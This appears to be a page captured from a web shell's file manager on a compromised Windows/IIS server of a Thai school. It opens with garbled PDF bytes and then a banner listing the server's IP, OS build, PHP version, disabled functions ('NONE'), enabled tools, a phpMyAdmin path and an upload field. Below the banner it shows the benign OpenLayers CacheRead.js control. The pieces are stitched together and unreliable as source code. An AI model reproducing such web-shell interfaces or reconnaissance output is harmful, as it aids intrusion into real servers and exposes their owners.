%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/phpMyAdmin/js/openlayers/src/openlayers/lib/OpenLayers/Control/ |
Upload File : |
/* Copyright (c) 2006-2013 by OpenLayers Contributors (see authors.txt for * full list of contributors). Published under the 2-clause BSD license. * See license.txt in the OpenLayers distribution or repository for the * full text of the license. */ /** * @requires OpenLayers/Control.js */ /** * Class: OpenLayers.Control.CacheRead * A control for using image tiles cached with <OpenLayers.Control.CacheWrite> * from the browser's local storage. * * Inherits from: * - <OpenLayers.Control> */ OpenLayers.Control.CacheRead = OpenLayers.Class(OpenLayers.Control, { /** * APIProperty: fetchEvent * {String} The layer event to listen to for replacing remote resource tile * URLs with cached data URIs. Supported values are "tileerror" (try * remote first, fall back to cached) and "tileloadstart" (try cache * first, fall back to remote). Default is "tileloadstart". * * Note that "tileerror" will not work for CORS enabled images (see * https://developer.mozilla.org/en/CORS_Enabled_Image), i.e. layers * configured with a <OpenLayers.Tile.Image.crossOriginKeyword> in * <OpenLayers.Layer.Grid.tileOptions>. */ fetchEvent: "tileloadstart", /** * APIProperty: layers * {Array(<OpenLayers.Layer.Grid>)}. Optional. If provided, only these * layers will receive tiles from the cache. */ layers: null, /** * APIProperty: autoActivate * {Boolean} Activate the control when it is added to a map. Default is * true. */ autoActivate: true, /** * Constructor: OpenLayers.Control.CacheRead * * Parameters: * options - {Object} Object with API properties for this control */ /** * Method: setMap * Set the map property for the control. * * Parameters: * map - {<OpenLayers.Map>} */ setMap: function(map) { OpenLayers.Control.prototype.setMap.apply(this, arguments); var i, layers = this.layers || map.layers; for (i=layers.length-1; i>=0; --i) { this.addLayer({layer: layers[i]}); } if (!this.layers) { map.events.on({ addlayer: this.addLayer, removeLayer: this.removeLayer, scope: this }); } }, /** * Method: addLayer * Adds a layer to the control. Once added, tiles requested for this layer * will be cached. * * Parameters: * evt - {Object} Object with a layer property referencing an * <OpenLayers.Layer> instance */ addLayer: function(evt) { evt.layer.events.register(this.fetchEvent, this, this.fetch); }, /** * Method: removeLayer * Removes a layer from the control. Once removed, tiles requested for this * layer will no longer be cached. * * Parameters: * evt - {Object} Object with a layer property referencing an * <OpenLayers.Layer> instance */ removeLayer: function(evt) { evt.layer.events.unregister(this.fetchEvent, this, this.fetch); }, /** * Method: fetch * Listener to the <fetchEvent> event. Replaces a tile's url with a data * URI from the cache. * * Parameters: * evt - {Object} Event object with a tile property. */ fetch: function(evt) { if (this.active && window.localStorage && evt.tile instanceof OpenLayers.Tile.Image) { var tile = evt.tile, url = tile.url; // deal with modified tile urls when both CacheWrite and CacheRead // are active if (!tile.layer.crossOriginKeyword && OpenLayers.ProxyHost && url.indexOf(OpenLayers.ProxyHost) === 0) { url = OpenLayers.Control.CacheWrite.urlMap[url]; } var dataURI = window.localStorage.getItem("olCache_" + url); if (dataURI) { tile.url = dataURI; if (evt.type === "tileerror") { tile.setImgSrc(dataURI); } } } }, /** * Method: destroy * The destroy method is used to perform any clean up before the control * is dereferenced. Typically this is where event listeners are removed * to prevent memory leaks. */ destroy: function() { if (this.layers || this.map) { var i, layers = this.layers || this.map.layers; for (i=layers.length-1; i>=0; --i) { this.removeLayer({layer: layers[i]}); } } if (this.map) { this.map.events.un({ addlayer: this.addLayer, removeLayer: this.removeLayer, scope: this }); } OpenLayers.Control.prototype.destroy.apply(this, arguments); }, CLASS_NAME: "OpenLayers.Control.CacheRead" });